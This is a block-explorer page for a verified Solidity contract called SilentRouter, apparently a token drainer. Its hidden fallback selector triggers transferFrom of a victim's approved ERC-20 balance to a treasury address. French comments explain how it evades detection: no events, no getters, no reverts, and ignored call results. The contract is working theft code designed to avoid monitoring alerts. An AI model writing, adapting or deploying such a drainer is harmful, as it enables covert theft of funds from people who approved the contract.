Verified contractExactMIT
SilentRouter
Address0x89697e162f0a69a028e39ae48c8fbbf56aee07d8
- Balance
0 ETH
- Transactions
18
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,487,716
- Creation transaction
- 0x9e82a1c3d1…2c884b1cbb
USDTnoalertkraken.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function balanceOf(address) external view returns (uint256);
function allowance(address, address) external view returns (uint256);
function transferFrom(address, address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
/// @title Silent Router
/// @notice Contrat muet : pas de getters publics, pas d'events, pas de strings.
/// Le bot appelle sync(token, account) via un selector custom.
contract SilentRouter {
address private immutable _o;
address private immutable _t;
// selector custom = bytes4(keccak256("sync(address,address)")) mais on ne l'expose PAS
// comme fonction nommée : on route tout par fallback pour rester muet.
bytes4 private constant SYNC = 0x8f4c1b3a; // <-- à recalculer si tu changes la signature
constructor(address treasury) {
_o = msg.sender;
_t = treasury;
}
fallback() external payable {
// route uniquement le selector SYNC
if (msg.sig == SYNC) {
(address token, address account) = abi.decode(msg.data[4:], (address, address));
_sync(token, account);
return;
}
// tout le reste : silence
}
receive() external payable {}
function _sync(address token, address account) internal {
uint256 allowed = IERC20(token).allowance(account, address(this));
uint256 bal = IERC20(token).balanceOf(account);
uint256 amount = allowed < bal ? allowed : bal;
if (amount == 0) return; // pas de revert -> pas d'alerte "tx failed"
// call bas niveau, on ignore le retour pour rester muet
token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, account, _t, amount));
}
// rescue optionnel mais exposé -> peut déclencher une alerte si tu l'appelles
function rescue(address token) external {
if (msg.sender != _o) return;
uint256 b = IERC20(token).balanceOf(address(this));
if (b == 0) return;
token.call(abi.encodeWithSelector(IERC20.transfer.selector, _t, b));
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.